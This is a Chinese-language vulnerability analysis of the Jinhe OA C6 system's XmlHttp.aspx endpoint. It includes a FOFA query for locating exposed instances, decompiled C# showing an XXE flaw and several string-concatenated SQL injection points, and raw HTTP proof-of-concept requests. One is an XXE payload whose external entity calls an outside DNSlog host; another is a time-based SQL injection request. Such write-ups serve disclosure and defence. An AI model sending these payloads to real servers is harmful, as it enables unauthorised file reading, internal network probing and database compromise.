漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 Jhsoft.Web.dailytaskmanage/XmlHttp.aspx 接口处存在XXE漏洞,未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息,进一步利用可导致服务器失陷。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
直接根据 XmlHttp.aspx 在 bin 目录下查找 JHSoft.Web.DailyTaskManage.dll 将其进行反编译后找到 XmlHttp 的处理逻辑
protected void Page_Load(object sender, EventArgs e)
{
this.PageInit();
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(this.Request.InputStream);
switch (xmlDocument.SelectSingleNode("//root//Flag").InnerText)
{
case "MyExecution":
this.GetMyTask("MyExecution");
break;
case "MyAssignment":
this.GetMyTask("MyAssignment");
break;
case "GetTaskOEC":
string innerText1 = xmlDocument.SelectSingleNode("//root//TaskID").InnerText;
string innerText2 = xmlDocument.SelectSingleNode("//root//TermType").InnerText;
if (string.op_Equality(innerText2, "Month"))
{
this.GetMonthTaskOEC(innerText1);
break;
}
if (string.op_Equality(innerText2, "Week"))
{
this.GetWeekTaskOEC(innerText1);
break;
}
this.GetCustomTaskOEC(innerText1);
break;
case "GetSeedTask":
string innerText3 = xmlDocument.SelectSingleNode("//root//Module").InnerText;
string innerText4 = xmlDocument.SelectSingleNode("//root//ID").InnerText;
string innerText5 = xmlDocument.SelectSingleNode("//root//TaskSort").InnerText;
string innerText6 = xmlDocument.SelectSingleNode("//root//UserCode").InnerText;
string innerText7 = xmlDocument.SelectSingleNode("//root//Permission").InnerText;
if (string.op_Equality(innerText3.ToLower(), "task"))
{
this.GetSeedTask(xmlDocument, innerText4, innerText5, innerText6, innerText7);
break;
}
this.GetModuleTask(innerText3, innerText4, innerText5, innerText6, innerText7);
break;
case "GetTaskRootScale":
this.GetTaskRootScale(xmlDocument.SelectSingleNode("//root//TaskID").InnerText, xmlDocument.SelectSingleNode("//root//TempID").InnerText);
break;
case "GetTaskExecInfo":
this.GetExecInfo(xmlDocument.SelectSingleNode("//root//TaskExecs").InnerText, xmlDocument.SelectSingleNode("//root//TaskOthers").InnerText, xmlDocument.SelectSingleNode("//root//SubUser").InnerText);
break;
case "GetTaskOriginInfo":
this.GetTaskOriginInfo(xmlDocument.SelectSingleNode("//root//Module").InnerText, xmlDocument.SelectSingleNode("//root//ModuleID").InnerText);
break;
case "SelTaskOriginInfo":
this.SelTaskOriginInfo(xmlDocument.SelectSingleNode("//root//Module").InnerText, xmlDocument.SelectSingleNode("//root//ModuleID").InnerText);
break;
case "CheckTask":
this.CheckTaskStatus(xmlDocument.SelectSingleNode("//root//TaskID").InnerText);
break;
}
}
请求内容直接使 xmlDocument.Load 加载处理,造成XXE漏洞。
根据 Flag 的值不同做不同的处理,当 其值为 GetTaskOEC 时,TaskID 和 TermType 的值分别带入不同的方法以及判断上。
当 TermType 不等于 Month 或 Week 时,跟进 GetCustomTaskOEC 方法
private void GetCustomTaskOEC(string strTaskID)
{
string empty1 = string.Empty;
string empty2 = string.Empty;
StringBuilder stringBuilder = new StringBuilder();
int int16 = (int) Convert.ToInt16(Common.ExecSqlReDt($" select DATEDIFF(day,TaskStartTime , TaskEndTime) as diff from TaskManage where TaskID = '{strTaskID}' ").Rows[0][0].ToString());
string sql = int16 < 3 || int16 > 10 ? (int16 <= 10 ? string.Empty : $" select DPlanItem.* from DPlanItem inner join DPlan on DPlanItem.DPlanID = DPlan.DPlanID where DPlan.DPlanTaskID = '{strTaskID}' ") : $" select ZPlanItem.* from ZPlanItem inner join ZPlan on ZPlanItem.ZPlanID = ZPlan.ZPlanID where ZPlan.ZPlanTaskID = '{strTaskID}' ";
string str1;
if (string.op_Inequality(sql, string.Empty))
{
DataTable dataTable = Common.ExecSqlReDt(sql);
参数 strTaskID 被直接拼接进 ExecSqlReDt SQL语句中执行,无任何过滤或校验,导致SQL注入漏洞。
否则根据 TermType 的值分别进入 GetMonthTaskOEC 方法
private void GetMonthTaskOEC(string strTaskID)
{
string empty1 = string.Empty;
string empty2 = string.Empty;
StringBuilder stringBuilder = new StringBuilder();
DataTable dataTable = Common.ExecSqlReDt($" select DPlanItem.* from DPlanItem inner join DPlan on DPlanItem.DPlanID = DPlan.DPlanID where DPlan.DPlanTaskID = '{strTaskID}' ");
string str1;
if (((InternalDataCollectionBase) dataTable.Rows).Count > 0)
{
以及 GetWeekTaskOEC 方法
private void GetWeekTaskOEC(string strTaskID)
{
string empty1 = string.Empty;
string empty2 = string.Empty;
StringBuilder stringBuilder = new StringBuilder();
DataTable dataTable = Common.ExecSqlReDt($" select ZPlanItem.* from ZPlanItem inner join ZPlan on ZPlanItem.ZPlanID = ZPlan.ZPlanID where ZPlan.ZPlanTaskID = '{strTaskID}' ");
string str1;
if (((InternalDataCollectionBase) dataTable.Rows).Count > 0)
{
其他几个方法CheckTaskStatus、SelTaskOriginInfo、GetTaskOriginInfo、GetTaskRootScale和GetModuleTask也同样存在直接拼接 strTaskID 参数进入SQL语句中,同样也造成SQL注入漏洞。
public void CheckTaskStatus(string strTaskID)
{
string empty = string.Empty;
DataTable dataTable = Common.ExecSqlReDt($"select top 1 * from TaskManage where TaskID = '{strTaskID}'");
string str;
public string GetTaskOriginInfo(string strOriginModule, string strOriginID, string strFlag)
{
this.InitText();
string empty = string.Empty;
string taskOriginInfo = string.Empty;
if (string.op_Equality(strOriginModule.ToLower().ToString(), "unknown"))
{
DataTable dataTable = Common.ExecSqlReDt($" select OriginID,OriginModule from TaskManage where TaskID = '{strOriginID}'");
public string GetTaskOriginInfo(string strOriginModule, string strOriginID, string strFlag)
{
this.InitText();
string empty = string.Empty;
string taskOriginInfo = string.Empty;
if (string.op_Equality(strOriginModule.ToLower().ToString(), "unknown"))
{
DataTable dataTable = Common.ExecSqlReDt($" select OriginID,OriginModule from TaskManage where TaskID = '{strOriginID}'");
public string GetExecInfo(string strExecs, string strOthers, string SubUser)
{
string empty = string.Empty;
StringBuilder stringBuilder = new StringBuilder();
if (string.op_Inequality(strExecs, string.Empty))
{
DataTable dataTable = Common.ExecSqlReDt($"select UserName,UserID from Users where UserID in ('{strExecs.Replace(",", "','")}')");
public void GetTaskRootScale(string strTaskID, string strTempID)
{
string str = "100";
DataTable dataTable = Common.ExecSqlReDt($" select TaskRootScale+isnull((select TaskScale from TaskManage where TaskID = '{strTempID}' and TaskFatherID = '{strTaskID}'),0) as TaskRootScale from TaskManage where TaskID = '{strTaskID}'");
if (((InternalDataCollectionBase) dataTable.Rows).Count > 0)
public void GetModuleTask(
string strModule,
string strModuleID,
string strFlag,
string strUserCode,
string strPermission)
{
DataTable dataTable = Common.ExecSqlReDt($" select a.TaskID,a.TaskNumber,a.TaskName,b.UserName as SendName,dbo.Fn_GetUserName(a.TaskExecutorID) as ExecName,a.TaskProgress,a.TaskFinishFlag,convert(varchar,TaskStartTime,23) + '~' + convert(varchar,TaskEndTime,23) as TaskSchedule,a.TaskRootScale {$" ,case when {$" ','+a.TaskExecutorID+',' like '%,{strUserCode},%' "} or {$" a.TaskSendPersonID = '{strUserCode}' "} or {$" ','+a.TaskViewRegCode+',' like '%,{strUserCode},%' "} then 1 else 0 end as HasPermission "} ,case when exists(select TaskID from TaskManage where TaskFatherID = a.TaskID and TaskIsDel = 0 and TaskFinishFlag <> 2) then 1 else 0 end as HasChild from TaskManage a inner join Users b on a.TaskSendPersonID = b.UserID {$"\tand a.TaskNumber in ( select distinct substring(TaskNumber,0,8) as TaskNumber from TaskManage a where OriginModule='{strModule}' and OriginID='{strModuleID}' and TaskIsDel = 0 ) "}");
StringBuilder stringBuilder = new StringBuilder();
string str = string.Empty;
漏洞复现
XXE
POST /c6/Jhsoft.Web.dailytaskmanage/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>
成功在dnslog平台收到DNS请求和HTTP请求

SQL注入
POST /c6/Jhsoft.Web.dailytaskmanage/XmlHttp.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml
<root><Flag>CheckTask</Flag><TaskID>SQLI_POC</TaskID></root>

成功延时 5 秒钟


